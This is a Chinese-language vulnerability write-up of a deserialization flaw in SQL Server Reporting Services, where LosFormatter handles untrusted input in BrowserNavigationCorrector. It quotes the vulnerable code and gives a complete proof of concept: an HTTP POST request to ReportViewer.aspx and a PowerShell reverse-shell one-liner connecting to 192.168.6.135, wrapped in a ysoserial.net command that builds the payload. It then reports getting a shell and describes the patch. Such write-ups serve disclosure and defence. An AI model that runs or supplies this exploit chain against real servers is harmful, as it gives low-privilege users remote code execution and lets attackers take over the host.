0x00:前提概要
SQL Server Reporting Services(SSRS)提供了一组本地工具和服务,用于创建,部署和管理移动报告和分页报告.
SSRS Web应用程序中的功能允许低特权用户帐户通过利用反序列化问题在服务器上运行代码.
尽管只有授权用户才能访问该应用程序,但是最低权限(浏览器角色)足以利用此问题.
0x01:技术分析
在ReportingServicesWebServer.dll中发现了此问题.Microsoft.Reporting.WebForms.BrowserNavigationCorrector的OnLoad方法使用LosFormatter类反序列化不受信任的用户输入:
protected override void OnLoad(EventArgs e)
{
base.OnLoad(e);
this.EnsureChildControls();
if (this.Page.IsPostBack && string.Equals(this.m_pageState.Value, "NeedsCorrection", StringComparison.Ordinal))
{
string value = this.m_viewerViewState.Value;
if (!string.IsNullOrEmpty(value))
{
LosFormatter losFormatter = new LosFormatter();
object obj = null;
try
{
obj = losFormatter.Deserialize(value)
该BrowserNavigationCorrector类是使用由Microsoft.ReportingServices.WebServer.ReportViewerPage类:
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
ReportViewerHost reportViewer = this.ReportViewer;
reportViewer.EnableHybrid = this.ShowHybrid;
if (reportViewer != null)
{
PageRequestManagerErrorHandler child = new PageRequestManagerErrorHandler();
reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child);
BrowserNavigationCorrector child2 = reportViewer.CreateNavigationCorrector();
reportViewer.Parent.Controls.AddAt(reportViewer.Parent.Controls.IndexOf(reportViewer), child2);
例如,可以通过在本地 SharePoint服务器中调用/ReportServer/pages/ReportViewer.aspx页面来触发此功能.
0x02:漏洞验证(POC)
可以将以下HTTP请求发送到服务器以利用该应用程序:
POST /ReportServer/pages/ReportViewer.aspx HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
Content-Length: X
NavigationCorrector$PageState=NeedsCorrection&NavigationCorrector$ViewState=[PayloadHere]&__VIEWSTATE=
可以在PowerShell中使用以下命令来使用ysoserial.net工具生成有效负载:
ysoserial.net工具:https://github.com/pwntester/ysoserial.net
$command = '$client = New-Object System.Net.Sockets.TCPClient("192.168.6.135",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
.\ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "powershell.exe -encodedCommand $encodedCommand" -o base64 | clip
以下屏幕截图显示了使用上面生成的有效负载发送HTTP请求后获得了反向shell:
这个问题被解决了.使用LosFormatter类时,该修补程序仅启用了MAC验证:
LosFormatter losFormatter = new LosFormatter(true, this.m_viewer.GetUserId());
0x03:修复建议